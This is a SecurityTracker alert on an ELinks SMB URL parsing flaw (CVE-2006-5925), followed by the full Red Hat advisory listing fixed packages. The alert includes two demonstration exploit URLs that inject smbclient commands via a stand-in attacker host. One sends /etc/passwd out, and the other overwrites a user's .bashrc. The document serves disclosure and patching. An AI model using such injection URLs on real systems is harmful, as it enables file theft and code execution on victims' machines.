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Category:   Application (Web Browser)  >   ELinks Vendors:   elinks.or.cz
(Red Hat Issues Fix) ELinks SMB URL Parsing Bug Lets Remote Users Upload/Download Files
SecurityTracker Alert ID:  1017234
SecurityTracker URL:  http://securitytracker.com/id/1017234
CVE Reference:   CVE-2006-5925   (Links to External Site)
Date:  Nov 15 2006
Impact:   Disclosure of system information, Disclosure of user information, Modification of user information
Fix Available:  Yes  Vendor Confirmed:  Yes  
Version(s): 0.11.1
Description:   A vulnerability was reported in ELinks. A remote user can cause arbitrary smbclient commands to be executed.

The smbclient code does not properly parse SMB URLs. A remote user can create HTML with a specially crafted URL that, when loaded by the target user, will upload files to or download files from the target user's system.

Some demonstration exploit URLs are provided:

smb://attacker.net/work/XXX" YYY; lcd ..; lcd ..; lcd ..; lcd etc; put passwd ; exit;

smb://attacker.net/work/XXX" YYY; lcd ..; lcd ..; lcd ..; lcd home; lcd teemu; get HOHO .bashrc; exit;

Teemu Salmela reported this vulnerability.

Impact:   A remote user can obtain files from or create files on the target user's system.
Solution:   Red Hat has released a fix.

The Red Hat advisory is available at:

https://rhn.redhat.com/errata/RHSA-2006-0742.html

Vendor URL:  elinks.or.cz/ (Links to External Site)
Cause:   Input validation error
Underlying OS:  Linux (Red Hat Enterprise)
Underlying OS Comments:  4

Message History:   This archive entry is a follow-up to the message listed below.
Nov 15 2006 ELinks SMB URL Parsing Bug Lets Remote Users Upload/Download Files



 Source Message Contents

Subject:  [RHSA-2006:0742-01] Critical: elinks security update


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

- ---------------------------------------------------------------------
                   Red Hat Security Advisory

Synopsis:          Critical: elinks security update
Advisory ID:       RHSA-2006:0742-01
Advisory URL:      https://rhn.redhat.com/errata/RHSA-2006-0742.html
Issue date:        2006-11-15
Updated on:        2006-11-15
Product:           Red Hat Enterprise Linux
CVE Names:         CVE-2006-5925 
- ---------------------------------------------------------------------

1. Summary:

An updated elinks package that corrects a security vulnerability is now
available for Red Hat Enterprise Linux 4.

This update has been rated as having critical security impact by the Red
Hat Security Response Team.

2. Relevant releases/architectures:

Red Hat Enterprise Linux AS version 4 - i386, ia64, ppc, s390, s390x, x86_64
Red Hat Enterprise Linux Desktop version 4 - i386, x86_64
Red Hat Enterprise Linux ES version 4 - i386, ia64, x86_64
Red Hat Enterprise Linux WS version 4 - i386, ia64, x86_64

3. Problem description:

Elinks is a text mode Web browser used from the command line that supports
rendering modern web pages.

An arbitrary file access flaw was found in the Elinks SMB protocol handler.
A malicious web page could have caused Elinks to read or write files with
the permissions of the user running Elinks. (CVE-2006-5925)

All users of Elinks are advised to upgrade to this updated package, which
resolves this issue by removing support for the SMB protocol from Elinks.

Note: this issue did not affect the Elinks package shipped with Red Hat
Enterprise Linux 3, or the Links package shipped with Red Hat Enterprise
Linux 2.1.

4. Solution:

Before applying this update, make sure all previously released errata
relevant to your system have been applied.

This update is available via Red Hat Network.  To use Red Hat Network,
launch the Red Hat Update Agent with the following command:

up2date

This will start an interactive process that will result in the appropriate
RPMs being upgraded on your system.

5. Bug IDs fixed (http://bugzilla.redhat.com/):

215731 - CVE-2006-5925 elinks smb protocol arbitrary file access

6. RPMs required:

Red Hat Enterprise Linux AS version 4:

SRPMS:
ftp://updates.redhat.com/enterprise/4AS/en/os/SRPMS/elinks-0.9.2-3.3.src.rpm
643211bd98a9d92223bedbc69f71d68c  elinks-0.9.2-3.3.src.rpm

i386:
700134005525634e35dc940cd6d7c843  elinks-0.9.2-3.3.i386.rpm
6f6e5705ae2364733702c9b7b5e8c2ff  elinks-debuginfo-0.9.2-3.3.i386.rpm

ia64:
15eac414d532897f4da1ecb0063768a7  elinks-0.9.2-3.3.ia64.rpm
e9d176e583deb37e34487af2d794ca8f  elinks-debuginfo-0.9.2-3.3.ia64.rpm

ppc:
39d20a380d0d55d6d9ac40d89e389392  elinks-0.9.2-3.3.ppc.rpm
d9980fe0a60b2889ca6dbb00a2a71a3b  elinks-debuginfo-0.9.2-3.3.ppc.rpm

s390:
3fe1f629f197048d770e327f1b5ca923  elinks-0.9.2-3.3.s390.rpm
a4ae0a0dfa968b7dd9ac67a4c511440f  elinks-debuginfo-0.9.2-3.3.s390.rpm

s390x:
5c5129455dfbd5318477b1fc32421bb6  elinks-0.9.2-3.3.s390x.rpm
14c9a759ed58fc3ea25893aec3bdfae1  elinks-debuginfo-0.9.2-3.3.s390x.rpm

x86_64:
c9058b064da38141780a52ae4d429709  elinks-0.9.2-3.3.x86_64.rpm
695ae2d149930b299c04dbd822c45e24  elinks-debuginfo-0.9.2-3.3.x86_64.rpm

Red Hat Enterprise Linux Desktop version 4:

SRPMS:
ftp://updates.redhat.com/enterprise/4Desktop/en/os/SRPMS/elinks-0.9.2-3.3.src.rpm
643211bd98a9d92223bedbc69f71d68c  elinks-0.9.2-3.3.src.rpm

i386:
700134005525634e35dc940cd6d7c843  elinks-0.9.2-3.3.i386.rpm
6f6e5705ae2364733702c9b7b5e8c2ff  elinks-debuginfo-0.9.2-3.3.i386.rpm

x86_64:
c9058b064da38141780a52ae4d429709  elinks-0.9.2-3.3.x86_64.rpm
695ae2d149930b299c04dbd822c45e24  elinks-debuginfo-0.9.2-3.3.x86_64.rpm

Red Hat Enterprise Linux ES version 4:

SRPMS:
ftp://updates.redhat.com/enterprise/4ES/en/os/SRPMS/elinks-0.9.2-3.3.src.rpm
643211bd98a9d92223bedbc69f71d68c  elinks-0.9.2-3.3.src.rpm

i386:
700134005525634e35dc940cd6d7c843  elinks-0.9.2-3.3.i386.rpm
6f6e5705ae2364733702c9b7b5e8c2ff  elinks-debuginfo-0.9.2-3.3.i386.rpm

ia64:
15eac414d532897f4da1ecb0063768a7  elinks-0.9.2-3.3.ia64.rpm
e9d176e583deb37e34487af2d794ca8f  elinks-debuginfo-0.9.2-3.3.ia64.rpm

x86_64:
c9058b064da38141780a52ae4d429709  elinks-0.9.2-3.3.x86_64.rpm
695ae2d149930b299c04dbd822c45e24  elinks-debuginfo-0.9.2-3.3.x86_64.rpm

Red Hat Enterprise Linux WS version 4:

SRPMS:
ftp://updates.redhat.com/enterprise/4WS/en/os/SRPMS/elinks-0.9.2-3.3.src.rpm
643211bd98a9d92223bedbc69f71d68c  elinks-0.9.2-3.3.src.rpm

i386:
700134005525634e35dc940cd6d7c843  elinks-0.9.2-3.3.i386.rpm
6f6e5705ae2364733702c9b7b5e8c2ff  elinks-debuginfo-0.9.2-3.3.i386.rpm

ia64:
15eac414d532897f4da1ecb0063768a7  elinks-0.9.2-3.3.ia64.rpm
e9d176e583deb37e34487af2d794ca8f  elinks-debuginfo-0.9.2-3.3.ia64.rpm

x86_64:
c9058b064da38141780a52ae4d429709  elinks-0.9.2-3.3.x86_64.rpm
695ae2d149930b299c04dbd822c45e24  elinks-debuginfo-0.9.2-3.3.x86_64.rpm

These packages are GPG signed by Red Hat for security.  Our key and 
details on how to verify the signature are available from
https://www.redhat.com/security/team/key/#package

7. References:

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5925
http://marc.theaimsgroup.com/?&m=116355556512780
http://www.redhat.com/security/updates/classification/#critical

8. Contact:

The Red Hat security contact is <secalert@redhat.com>.  More contact
details at https://www.redhat.com/security/team/contact/

Copyright 2006 Red Hat, Inc.
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